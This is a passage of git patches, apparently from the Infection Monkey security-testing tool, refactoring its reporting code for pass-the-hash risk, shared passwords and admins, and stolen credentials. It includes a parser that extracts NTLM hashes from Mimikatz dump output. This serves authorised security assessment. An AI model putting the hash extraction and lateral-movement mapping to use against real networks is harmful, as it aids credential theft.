mongo.db.monkey.find({'_id': {'$in': admin_on_machines}}, {'hostname': 1}) + return [i['hostname'] for i in list(machines)] @staticmethod - def get_shared_admins_nodes(): - admins = mongo.db.groupsandusers.find({'type': 1, 'admin_on_machines.1': {'$exists': True}}, - {'admin_on_machines': 1, 'name': 1, 'domain_name': 1}) - admins_info_list = [] - for admin in admins: - machines = mongo.db.monkey.find({'_id': {'$in': admin['admin_on_machines']}}, {'hostname': 1}) - - # appends the host names of the machines this user is admin on. - admins_info_list.append({'name': admin['name'],'domain_name': admin['domain_name'], - 'admin_on_machines': [i['hostname'] for i in list(machines)]}) - - return admins_info_list - - @staticmethod - def get_shared_admins_issues(): - admins_info = PTHReportService.get_shared_admins_nodes() - issues = [] - for admin in admins_info: - issues.append( - { - 'is_local': False, - 'type': 'shared_admins_domain', - 'machine': admin['domain_name'], - 'username': admin['name'], - 'shared_machines': admin['admin_on_machines'], - } - ) - - return issues - - @staticmethod - def get_strong_users_on_critical_machines_nodes(): - crit_machines = {} + def __strong_users_on_crit_query(): pipeline = [ { '$unwind': '$admin_on_machines' @@ -117,13 +59,82 @@ class PTHReportService(object): '$unwind': '$critical_machine' } ] - docs = mongo.db.groupsandusers.aggregate(pipeline) + return mongo.db.groupsandusers.aggregate(pipeline) + + @staticmethod + def get_duplicated_passwords_nodes(): + users_cred_groups = [] + docs = PTHReportService.__dup_passwords_mongoquery() + for doc in docs: + users_list = [ + { + 'username': user['name'], + 'domain_name': user['domain_name'], + 'hostname': NodeService.get_hostname_by_id(ObjectId(user['machine_id'])) + if user['machine_id'] else None + } for user in doc['Docs'] + ] + users_cred_groups.append({'cred_groups': users_list}) + + return users_cred_groups + + @staticmethod + def get_duplicated_passwords_issues(): + user_groups = PTHReportService.get_duplicated_passwords_nodes() + issues = [] + for group in user_groups: + user_info = group['cred_groups'][0] + issues.append( + { + 'type': 'shared_passwords_domain' if user_info['domain_name'] else 'shared_passwords', + 'machine': user_info['hostname'] if user_info['hostname'] else user_info['domain_name'], + 'shared_with': [i['username'] for i in group['cred_groups']], + 'is_local': False if user_info['domain_name'] else True + } + ) + return issues + + @staticmethod + def get_shared_admins_nodes(): + + # This mongo queries users the best solution to figure out if an array + # object has at least two objects in it, by making sure any value exists in the array index 1. + admins = mongo.db.groupsandusers.find({'type': 1, 'admin_on_machines.1': {'$exists': True}}, + {'admin_on_machines': 1, 'name': 1, 'domain_name': 1}) + return [ + { + 'name': admin['name'], + 'domain_name': admin['domain_name'], + 'admin_on_machines': PTHReportService.__get_admin_on_machines_format(admin['admin_on_machines']) + } for admin in admins + ] + + @staticmethod + def get_shared_admins_issues(): + admins_info = PTHReportService.get_shared_admins_nodes() + return [ + { + 'is_local': False, + 'type': 'shared_admins_domain', + 'machine': admin['domain_name'], + 'username': admin['name'], + 'shared_machines': admin['admin_on_machines'], + } + for admin in admins_info] + + @staticmethod + def get_strong_users_on_critical_machines_nodes(): + + crit_machines = {} + docs = PTHReportService.__strong_users_on_crit_query() + for doc in docs: hostname = str(doc['critical_machine']['hostname']) - if not hostname in crit_machines: - crit_machines[hostname] = {} - crit_machines[hostname]['threatening_users'] = [] - crit_machines[hostname]['critical_services'] = doc['critical_machine']['critical_services'] + if hostname not in crit_machines: + crit_machines[hostname] = { + 'threatening_users': [], + 'critical_services': doc['critical_machine']['critical_services'] + } crit_machines[hostname]['threatening_users'].append( {'name': str(doc['domain_name']) + '\\' + str(doc['name']), 'creds_location': doc['secret_location']}) @@ -131,107 +142,92 @@ class PTHReportService(object): @staticmethod def get_strong_users_on_crit_issues(): - issues = [] crit_machines = PTHReportService.get_strong_users_on_critical_machines_nodes() - for machine in crit_machines: - issues.append( - { - 'type': 'strong_users_on_crit', - 'machine': machine, - 'services': crit_machines[machine].get('critical_services'), - 'threatening_users': [i['name'] for i in crit_machines[machine]['threatening_users']] - } - ) - return issues + return [ + { + 'type': 'strong_users_on_crit', + 'machine': machine, + 'services': crit_machines[machine].get('critical_services'), + 'threatening_users': [i['name'] for i in crit_machines[machine]['threatening_users']] + } for machine in crit_machines + ] @staticmethod def get_strong_users_on_crit_details(): - table_entries = [] user_details = {} crit_machines = PTHReportService.get_strong_users_on_critical_machines_nodes() for machine in crit_machines: for user in crit_machines[machine]['threatening_users']: username = user['name'] if username not in user_details: - user_details[username] = {} - user_details[username]['machines'] = [] - user_details[username]['services'] = [] + user_details[username] = { + 'machines': [], + 'services': [] + } user_details[username]['machines'].append(machine) user_details[username]['services'] += crit_machines[machine]['critical_services'] - for user in user_details: - table_entries.append( - { - 'username': user, - 'machines': user_details[user]['machines'], - 'services_names': user_details[user]['services'] - } - ) - - return table_entries + return [ + { + 'username': user, + 'machines': user_details[user]['machines'], + 'services_names': user_details[user]['services'] + } for user in user_details + ] @staticmethod def generate_map_nodes(): - - nodes_list = [] monkeys = mongo.db.monkey.find({}, {'_id': 1, 'hostname': 1, 'critical_services': 1, 'ip_addresses': 1}) - for monkey in monkeys: - critical_services = monkey.get('critical_services', []) - nodes_list.append({ + + return [ + { 'id': monkey['_id'], 'label': '{0} : {1}'.format(monkey['hostname'], monkey['ip_addresses'][0]), - 'group': 'critical' if critical_services else 'normal', - 'services': critical_services, + 'group': 'critical' if monkey.get('critical_services', []) else 'normal', + 'services': monkey.get('critical_services', []), 'hostname': monkey['hostname'] - }) - - return nodes_list + } for monkey in monkeys + ] @staticmethod - def generate_edge_nodes(): + def generate_edges(): edges_list = [] - pipeline = [ + + comp_users = mongo.db.groupsandusers.find( { - '$match': {'admin_on_machines': {'$ne': []}, 'secret_location': {'$ne': []}, 'type': 1} + 'admin_on_machines': {'$ne': []}, + 'secret_location': {'$ne': []}, + 'type': 1 }, { - '$project': {'admin_on_machines': 1, 'secret_location': 1} + 'admin_on_machines': 1, 'secret_location': 1 } - ] - comp_users = mongo.db.groupsandusers.aggregate(pipeline) + ) for user in comp_users: - pairs = PTHReportService.generate_edges_tuples(user['admin_on_machines'], user['secret_location']) - for pair in pairs: + # A list comp, to get all unique pairs of attackers and victims. + for pair in [pair for pair in product(user['admin_on_machines'], user['secret_location']) + if pair[0] != pair[1]]: edges_list.append( { 'from': pair[1], 'to': pair[0], - 'id': str(uuid.uuid4()) + 'id': str(pair[1]) + str(pair[0]) } ) return edges_list - @staticmethod - def generate_edges_tuples(*lists): - - for t in combinations(lists, 2): - for pair in product(*t): - # Don't output pairs containing duplicated elements - if pair[0] != pair[1]: - yield pair - @staticmethod def get_pth_map(): return { 'nodes': PTHReportService.generate_map_nodes(), - 'edges': PTHReportService.generate_edge_nodes() + 'edges': PTHReportService.generate_edges() } @staticmethod def get_report(): - + pth_map = PTHReportService.get_pth_map() PTHReportService.get_strong_users_on_critical_machines_nodes() report = \ { @@ -242,8 +238,8 @@ class PTHReportService(object): 'pthmap': { - 'nodes': PTHReportService.generate_map_nodes(), - 'edges': PTHReportService.generate_edge_nodes() + 'nodes': pth_map.get('nodes'), + 'edges': pth_map.get('edges') } } diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index f82f1518d..26a5c87f1 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -1,6 +1,5 @@ import itertools import functools -import pprint import ipaddress import logging @@ -160,7 +159,7 @@ class ReportService: @staticmethod def get_stolen_creds(): PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'} - creds = [] + creds = set() for telem in mongo.db.telemetry.find( {'telem_type': 'system_info_collection', 'data.credentials': {'$exists': True}}, {'data.credentials': 1, 'monkey_guid': 1} @@ -177,14 +176,9 @@ class ReportService: 'type': PASS_TYPE_DICT[pass_type], 'origin': origin } - if cred_row not in creds: - creds.append(cred_row) + creds.add(cred_row) logger.info('Stolen creds generated for reporting') - return creds - - @staticmethod - def get_pth_shared_passwords(): - pass + return list(creds) @staticmethod def get_ssh_keys(): @@ -544,7 +538,7 @@ class ReportService: domain_issues_dict = {} for issue in issues: if not issue.get('is_local', True): - machine = issue.get('machine', '').upper() + machine = issue.get('machine').upper() if machine not in domain_issues_dict: domain_issues_dict[machine] = [] domain_issues_dict[machine].append(issue) @@ -566,7 +560,7 @@ class ReportService: issues_dict = {} for issue in issues: if issue.get('is_local', True): - machine = issue.get('machine', '').upper() + machine = issue.get('machine').upper() if machine not in issues_dict: issues_dict[machine] = [] issues_dict[machine].append(issue) @@ -707,17 +701,14 @@ class ReportService: 'exploited': ReportService.get_exploited(), 'stolen_creds': ReportService.get_stolen_creds(), 'azure_passwords': ReportService.get_azure_creds(), - 'ssh_keys': ReportService.get_ssh_keys() + 'ssh_keys': ReportService.get_ssh_keys(), + 'strong_users': PTHReportService.get_strong_users_on_crit_details(), + 'pth_map': PTHReportService.get_pth_map() }, 'recommendations': { 'issues': issues, 'domain_issues': domain_issues - }, - 'pth': - { - 'strong_users': PTHReportService.get_strong_users_on_crit_details(), - 'map': PTHReportService.get_pth_map(), } } diff --git a/monkey/monkey_island/cc/services/user_info.py b/monkey/monkey_island/cc/services/user_info.py index c69a011a6..e233c1f31 100644 --- a/monkey/monkey_island/cc/services/user_info.py +++ b/monkey/monkey_island/cc/services/user_info.py @@ -1,45 +1,52 @@ +__author__ = 'maor.rayzin' + -def extract_sam_secrets(mim_string, users_dict): - users_secrets = mim_string.split("\n42.")[1].split("\nSAMKey :")[1].split("\n\n")[1:] +class MimikatzSecrets(object): - if mim_string.count("\n42.") != 2: - return {} + def __init__(self): + # Static class + pass - for sam_user_txt in users_secrets: - sam_user = dict([map(unicode.strip, line.split(":")) for line in - filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())]) - username = sam_user.get("User") - users_dict[username] = {} + @staticmethod + def extract_sam_secrets(mim_string, users_dict): + users_secrets = mim_string.split("\n42.")[1].split("\nSAMKey :")[1].split("\n\n")[1:] - ntlm = sam_user.get("NTLM") - if "[hashed secret]" not in ntlm: - continue + if mim_string.count("\n42.") != 2: + return {} - users_dict[username]['SAM'] = ntlm.replace("[hashed secret]", "").strip() + for sam_user_txt in users_secrets: + sam_user = dict([map(unicode.strip, line.split(":")) for line in + filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())]) + username = sam_user.get("User") + users_dict[username] = {} + ntlm = sam_user.get("NTLM") + if "[hashed secret]" not in ntlm: + continue -def extract_ntlm_secrets(mim_string, users_dict): + users_dict[username]['SAM'] = ntlm.replace("[hashed secret]", "").strip() - if mim_string.count("\n42.") != 2: - return {} + @staticmethod + def extract_ntlm_secrets(mim_string, users_dict): - ntds_users = mim_string.split("\n42.")[2].split("\nRID :")[1:] + if mim_string.count("\n42.") != 2: + return {} - for ntds_user_txt in ntds_users: - user = ntds_user_txt.split("User :")[1].splitlines()[0].replace("User :", "").strip() - ntlm = ntds_user_txt.split("* Primary\n NTLM :")[1].splitlines()[0].replace("NTLM :", "").strip() - ntlm = ntlm.replace("[hashed secret]", "").strip() - users_dict[user] = {} - if ntlm: - users_dict[user]['ntlm'] = ntlm + ntds_users = mim_string.split("\n42.")[2].split("\nRID :")[1:] + for ntds_user_txt in ntds_users: + user = ntds_user_txt.split("User :")[1].splitlines()[0].replace("User :", "").strip() + ntlm = ntds_user_txt.split("* Primary\n NTLM :")[1].splitlines()[0].replace("NTLM :", "").strip() + ntlm = ntlm.replace("[hashed secret]", "").strip() + users_dict[user] = {} + if ntlm: + users_dict[user]['ntlm'] = ntlm -def extract_secrets_from_mimikatz(mim_string): - users_dict = {} - extract_sam_secrets(mim_string, users_dict) - extract_ntlm_secrets(mim_string, users_dict) - - return users_dict - + @staticmethod + def extract_secrets_from_mimikatz(mim_string): + users_dict = {} + MimikatzSecrets.extract_sam_secrets(mim_string, users_dict) + MimikatzSecrets.extract_ntlm_secrets(mim_string, users_dict) + return users_dict diff --git a/monkey/monkey_island/cc/services/wmi_info_handler.py b/monkey/monkey_island/cc/services/wmi_info_handler.py index b4b12c7a3..61f85eb61 100644 --- a/monkey/monkey_island/cc/services/wmi_info_handler.py +++ b/monkey/monkey_island/cc/services/wmi_info_handler.py @@ -1,7 +1,9 @@ from cc.database import mongo +__author__ = 'maor.rayzin' -class WMIHandler: + +class WMIHandler(object): ADMINISTRATORS_GROUP_KNOWN_SID = '1-5-32-544' @@ -13,26 +15,29 @@ class WMIHandler: self.users_info = wmi_info['Win32_UserAccount'] self.groups_info = wmi_info['Win32_Group'] self.groups_and_users = wmi_info['Win32_GroupUser'] + self.products = wmi_info['Win32_Service'] + self.services = wmi_info['Win32_Product'] - def process_and_handle(self): + def process_and_handle_wmi_info(self): self.add_groups_to_collection() self.add_users_to_collection() self.create_group_user_connection() + self.insert_info_to_mongo() self.add_admin(self.info_for_mongo[self.ADMINISTRATORS_GROUP_KNOWN_SID], self.monkey_id) self.update_admins_retrospective() - self.insert_info_to_mongo() + self.update_critical_services() - def update_critical_services(self, wmi_services, wmi_products, machine_id): + def update_critical_services(self): critical_names = ("W3svc", "MSExchangeServiceHost", "MSSQLServer", "dns", 'MSSQL$SQLEXPRESS', 'SQL') - mongo.db.monkey.update({'_id': machine_id}, {'$set': {'critical_services': []}}) + mongo.db.monkey.update({'_id': self.monkey_id}, {'$set': {'critical_services': []}}) - services_names_list = [str(i['Name'])[2:-1] for i in wmi_services] - products_names_list = [str(i['Name'])[2:-2] for i in wmi_products] + services_names_list = [str(i['Name'])[2:-1] for i in self.services] + products_names_list = [str(i['Name'])[2:-2] for i in self.products] for name in critical_names: if name in services_names_list or name in products_names_list: - mongo.db.monkey.update({'_id': machine_id}, {'$addToSet': {'critical_services': name}}) + mongo.db.monkey.update({'_id': self.monkey_id}, {'$addToSet': {'critical_services': name}}) def build_entity_document(self, entity_info, monkey_id=None): general_properties_dict = { diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 5a5a4e526..114775756 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -163,7 +163,6 @@ class AppComponent extends AuthComponent { {this.renderRoute('/run-monkey', )} {this.renderRoute('/infection/map', )} {this.renderRoute('/infection/telemetry', )} - {this.renderRoute('/pth', )} {this.renderRoute('/start-over', )} {this.renderRoute('/report', )} {this.renderRoute('/license', )} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 98224541c..67dc9e0c4 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -9,9 +9,7 @@ import CollapsibleWellComponent from 'components/report-components/CollapsibleWe import {Line} from 'rc-progress'; import AuthComponent from '../AuthComponent'; import PassTheHashMapPageComponent from "./PassTheHashMapPage"; -import SharedCreds from "components/report-components/SharedCreds"; import StrongUsers from "components/report-components/StrongUsers"; -import SharedAdmins from "components/report-components/SharedAdmins"; let guardicoreLogoImage = require('../../images/guardicore-logo.png'); let monkeyLogoImage = require('../../images/monkey-icon.svg'); @@ -47,13 +45,10 @@ class ReportPageComponent extends AuthComponent { super(props); this.state = { report: {}, - pthreport: {}, - pthmap: {}, graph: {nodes: [], edges: []}, allMonkeysAreDead: false, runStarted: true }; - this.getPth } componentDidMount() { @@ -122,9 +117,7 @@ class ReportPageComponent extends AuthComponent { .then(res => res.json()) .then(res => { this.setState({ - report: res, - pthreport: res.pth.info, - pthmap: res.pth.map + report: res }); }); } @@ -475,7 +468,7 @@ class ReportPageComponent extends AuthComponent {
    - +
    ); @@ -495,7 +488,7 @@ class ReportPageComponent extends AuthComponent { Access credentials |
    - +

    diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SharedAdmins.js b/monkey/monkey_island/cc/ui/src/components/report-components/SharedAdmins.js deleted file mode 100644 index bf57065d5..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SharedAdmins.js +++ /dev/null @@ -1,42 +0,0 @@ -import React from 'react'; -import ReactTable from 'react-table' - -let renderArray = function(val) { - return
    {val.map(x =>
    {x}
    )}
    ; -}; - -const columns = [ - { - Header: 'Shared Admins Between Machines', - columns: [ - { Header: 'Username', accessor: 'username'}, - { Header: 'Domain', accessor: 'domain'}, - { Header: 'Machines', id: 'machines', accessor: x => renderArray(x.machines)}, - ] - } -]; - -const pageSize = 10; - -class SharedAdminsComponent extends React.Component { - constructor(props) { - super(props); - } - - render() { - let defaultPageSize = this.props.data.length > pageSize ? pageSize : this.props.data.length; - let showPagination = this.props.data.length > pageSize; - return ( -
    - -
    - ); - } -} - -export default SharedAdminsComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SharedCreds.js b/monkey/monkey_island/cc/ui/src/components/report-components/SharedCreds.js deleted file mode 100644 index f42494167..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SharedCreds.js +++ /dev/null @@ -1,41 +0,0 @@ -import React from 'react'; -import ReactTable from 'react-table' - -let renderArray = function(val) { - console.log(val); - return
    {val.map(x =>
    {x}
    )}
    ; -}; - -const columns = [ - { - Header: 'Shared Credentials', - columns: [ - {Header: 'Credential Group', id: 'cred_group', accessor: x => renderArray(x.cred_group) } - ] - } -]; - -const pageSize = 10; - -class SharedCredsComponent extends React.Component { - constructor(props) { - super(props); - } - - render() { - let defaultPageSize = this.props.data.length > pageSize ? pageSize : this.props.data.length; - let showPagination = this.props.data.length > pageSize; - return ( -
    - -
    - ); - } -} - -export default SharedCredsComponent; From b85fb8c94ae5816aa28709ff0eeec9d799f61437 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 29 Oct 2018 13:06:09 +0200 Subject: [PATCH 111/183] Some bug fixes and CR after shocks --- monkey/monkey_island/cc/services/node.py | 2 +- monkey/monkey_island/cc/services/pth_report.py | 3 +-- monkey/monkey_island/cc/services/report.py | 9 +++++---- monkey/monkey_island/cc/services/user_info.py | 2 +- monkey/monkey_island/cc/services/wmi_info_handler.py | 2 +- 5 files changed, 9 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 87b2a1aec..072917974 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -328,4 +328,4 @@ class NodeService: @staticmethod def get_hostname_by_id(node_id): - NodeService.get_node_hostname(mongo.db.monkey.find_one({'_id': node_id}, {'hostname': 1})) + return NodeService.get_node_hostname(mongo.db.monkey.find_one({'_id': node_id}, {'hostname': 1})) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index 11d2be821..c29049951 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -70,8 +70,7 @@ class PTHReportService(object): { 'username': user['name'], 'domain_name': user['domain_name'], - 'hostname': NodeService.get_hostname_by_id(ObjectId(user['machine_id'])) - if user['machine_id'] else None + 'hostname': NodeService.get_hostname_by_id(ObjectId(user['machine_id'])) if user['machine_id'] else None } for user in doc['Docs'] ] users_cred_groups.append({'cred_groups': users_list}) diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 26a5c87f1..216882fa7 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -159,7 +159,7 @@ class ReportService: @staticmethod def get_stolen_creds(): PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'} - creds = set() + creds = [] for telem in mongo.db.telemetry.find( {'telem_type': 'system_info_collection', 'data.credentials': {'$exists': True}}, {'data.credentials': 1, 'monkey_guid': 1} @@ -176,9 +176,10 @@ class ReportService: 'type': PASS_TYPE_DICT[pass_type], 'origin': origin } - creds.add(cred_row) + if cred_row not in creds: + creds.append(cred_row) logger.info('Stolen creds generated for reporting') - return list(creds) + return creds @staticmethod def get_ssh_keys(): @@ -560,7 +561,7 @@ class ReportService: issues_dict = {} for issue in issues: if issue.get('is_local', True): - machine = issue.get('machine').upper() + machine = issue.get('machine', '').upper() if machine not in issues_dict: issues_dict[machine] = [] issues_dict[machine].append(issue) diff --git a/monkey/monkey_island/cc/services/user_info.py b/monkey/monkey_island/cc/services/user_info.py index e233c1f31..9aca91a59 100644 --- a/monkey/monkey_island/cc/services/user_info.py +++ b/monkey/monkey_island/cc/services/user_info.py @@ -22,7 +22,7 @@ class MimikatzSecrets(object): users_dict[username] = {} ntlm = sam_user.get("NTLM") - if "[hashed secret]" not in ntlm: + if not ntlm or "[hashed secret]" not in ntlm: continue users_dict[username]['SAM'] = ntlm.replace("[hashed secret]", "").strip() diff --git a/monkey/monkey_island/cc/services/wmi_info_handler.py b/monkey/monkey_island/cc/services/wmi_info_handler.py index 61f85eb61..d119772f5 100644 --- a/monkey/monkey_island/cc/services/wmi_info_handler.py +++ b/monkey/monkey_island/cc/services/wmi_info_handler.py @@ -29,7 +29,7 @@ class WMIHandler(object): self.update_critical_services() def update_critical_services(self): - critical_names = ("W3svc", "MSExchangeServiceHost", "MSSQLServer", "dns", 'MSSQL$SQLEXPRESS', 'SQL') + critical_names = ("W3svc", "MSExchangeServiceHost", "dns", 'MSSQL$SQLEXPRES') mongo.db.monkey.update({'_id': self.monkey_id}, {'$set': {'critical_services': []}}) services_names_list = [str(i['Name'])[2:-1] for i in self.services] From 242c2c8700826c4a0a82f6f8636354da422954ae Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 29 Oct 2018 14:24:52 +0200 Subject: [PATCH 112/183] Added hostname to shared creds users --- monkey/monkey_island/cc/services/pth_report.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index c29049951..90ee4956d 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -87,7 +87,7 @@ class PTHReportService(object): { 'type': 'shared_passwords_domain' if user_info['domain_name'] else 'shared_passwords', 'machine': user_info['hostname'] if user_info['hostname'] else user_info['domain_name'], - 'shared_with': [i['username'] for i in group['cred_groups']], + 'shared_with': [i['hostname'] + '\\' + i['username'] for i in group['cred_groups']], 'is_local': False if user_info['domain_name'] else True } ) From f60c12b391f563a775733e9987a1cc5ac45d1430 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 29 Oct 2018 15:01:23 +0200 Subject: [PATCH 113/183] Added hostname to all issues generated --- monkey/monkey_island/cc/services/pth_report.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index 90ee4956d..9a862f212 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -29,10 +29,10 @@ class PTHReportService(object): return mongo.db.groupsandusers.aggregate(pipeline) @staticmethod - def __get_admin_on_machines_format(admin_on_machines): + def __get_admin_on_machines_format(admin_on_machines, domain_name): machines = mongo.db.monkey.find({'_id': {'$in': admin_on_machines}}, {'hostname': 1}) - return [i['hostname'] for i in list(machines)] + return [domain_name + '\\' + i['hostname'] for i in list(machines)] @staticmethod def __strong_users_on_crit_query(): @@ -104,7 +104,7 @@ class PTHReportService(object): { 'name': admin['name'], 'domain_name': admin['domain_name'], - 'admin_on_machines': PTHReportService.__get_admin_on_machines_format(admin['admin_on_machines']) + 'admin_on_machines': PTHReportService.__get_admin_on_machines_format(admin['admin_on_machines'], admin['domain_name']) } for admin in admins ] @@ -116,7 +116,7 @@ class PTHReportService(object): 'is_local': False, 'type': 'shared_admins_domain', 'machine': admin['domain_name'], - 'username': admin['name'], + 'username': admin['domain_name'] + '\\' + admin['name'], 'shared_machines': admin['admin_on_machines'], } for admin in admins_info] From 3a2d9a9cc275b67f4fb8cadb763912327aa2ef15 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 29 Oct 2018 15:25:30 +0200 Subject: [PATCH 114/183] Excluded the name Administrator from the shared admin issue, it spams the report --- monkey/monkey_island/cc/services/pth_report.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index 9a862f212..edb882561 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -98,7 +98,10 @@ class PTHReportService(object): # This mongo queries users the best solution to figure out if an array # object has at least two objects in it, by making sure any value exists in the array index 1. - admins = mongo.db.groupsandusers.find({'type': 1, 'admin_on_machines.1': {'$exists': True}}, + # Excluding the name Administrator - its spamming the lists and not a surprise the domain Administrator account + # is shared. + admins = mongo.db.groupsandusers.find({'type': 1, 'name': {'$ne': 'Administrator'}, + 'admin_on_machines.1': {'$exists': True}}, {'admin_on_machines': 1, 'name': 1, 'domain_name': 1}) return [ { From 707c88434cb937fb8e6b20168cd3e3582ff41252 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 31 Oct 2018 14:20:56 +0200 Subject: [PATCH 115/183] RE-CR: changed names, added doc, created consts. --- .../monkey_island/cc/resources/telemetry.py | 6 ++-- .../cc/services/groups_and_users_consts.py | 5 +++ .../{user_info.py => mimikatz_utils.py} | 0 .../monkey_island/cc/services/pth_report.py | 35 ++++++++++++++++--- monkey/monkey_island/cc/services/report.py | 2 +- .../{wmi_info_handler.py => wmi_handler.py} | 9 ++--- 6 files changed, 45 insertions(+), 12 deletions(-) create mode 100644 monkey/monkey_island/cc/services/groups_and_users_consts.py rename monkey/monkey_island/cc/services/{user_info.py => mimikatz_utils.py} (100%) rename monkey/monkey_island/cc/services/{wmi_info_handler.py => wmi_handler.py} (96%) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 1680f7664..0db3b0eb4 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -9,12 +9,12 @@ from flask import request from cc.auth import jwt_required from cc.database import mongo -from cc.services import user_info +from cc.services import mimikatz_utils from cc.services.config import ConfigService from cc.services.edge import EdgeService from cc.services.node import NodeService from cc.encryptor import encryptor -from cc.services.wmi_info_handler import WMIHandler +from cc.services.wmi_handler import WMIHandler __author__ = 'Barak' @@ -186,7 +186,7 @@ class Telemetry(flask_restful.Resource): Telemetry.add_system_info_creds_to_config(creds) Telemetry.replace_user_dot_with_comma(creds) if 'mimikatz' in telemetry_json['data']: - users_secrets = user_info.MimikatzSecrets.\ + users_secrets = mimikatz_utils.MimikatzSecrets.\ extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', '')) if 'wmi' in telemetry_json['data']: wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) diff --git a/monkey/monkey_island/cc/services/groups_and_users_consts.py b/monkey/monkey_island/cc/services/groups_and_users_consts.py new file mode 100644 index 000000000..03fefbe02 --- /dev/null +++ b/monkey/monkey_island/cc/services/groups_and_users_consts.py @@ -0,0 +1,5 @@ +"""This file will include consts values regarding the groupsandusers collection""" + +USERTYPE = 1 + +GROUPTYPE = 2 \ No newline at end of file diff --git a/monkey/monkey_island/cc/services/user_info.py b/monkey/monkey_island/cc/services/mimikatz_utils.py similarity index 100% rename from monkey/monkey_island/cc/services/user_info.py rename to monkey/monkey_island/cc/services/mimikatz_utils.py diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index edb882561..f72a430ba 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -3,6 +3,7 @@ from itertools import product from cc.database import mongo from bson import ObjectId +from cc.services.groups_and_users_consts import USERTYPE from cc.services.node import NodeService __author__ = 'maor.rayzin' @@ -11,6 +12,19 @@ class PTHReportService(object): @staticmethod def __dup_passwords_mongoquery(): + """ + This function build and query the mongoDB for users found that are using the same passwords, this is done + by comparing the NTLM hash found for each user by mimikatz. + :return: + A list of mongo documents (dicts in python) that look like this: + { + '_id': The NTLM hash, + 'count': How many users share it. + 'Docs': the name, domain name, _Id, and machine_id of the users + } + """ + + pipeline = [ {"$match": { 'NTLM_secret': { @@ -30,18 +44,31 @@ class PTHReportService(object): @staticmethod def __get_admin_on_machines_format(admin_on_machines, domain_name): - + """ + This function finds for each admin user, what machines its admin of and compile them to a list. + :param admin_on_machines: A list of "monkey" documents "_id"s + :param domain_name: The admin's domain name + :return: + A list of formatted machines names *domain*\*hostname*, to use in shared admins issues. + """ machines = mongo.db.monkey.find({'_id': {'$in': admin_on_machines}}, {'hostname': 1}) return [domain_name + '\\' + i['hostname'] for i in list(machines)] @staticmethod def __strong_users_on_crit_query(): + """ + This function build and query the mongoDB for users that mimikatz was able to find cached NTLM hash and + are administrators on machines with services predefined as important services thus making these machines + critical. + :return: + A list of said users + """ pipeline = [ { '$unwind': '$admin_on_machines' }, { - '$match': {'type': 1, 'domain_name': {'$ne': None}} + '$match': {'type': USERTYPE, 'domain_name': {'$ne': None}} }, { '$lookup': @@ -100,7 +127,7 @@ class PTHReportService(object): # object has at least two objects in it, by making sure any value exists in the array index 1. # Excluding the name Administrator - its spamming the lists and not a surprise the domain Administrator account # is shared. - admins = mongo.db.groupsandusers.find({'type': 1, 'name': {'$ne': 'Administrator'}, + admins = mongo.db.groupsandusers.find({'type': USERTYPE, 'name': {'$ne': 'Administrator'}, 'admin_on_machines.1': {'$exists': True}}, {'admin_on_machines': 1, 'name': 1, 'domain_name': 1}) return [ @@ -200,7 +227,7 @@ class PTHReportService(object): { 'admin_on_machines': 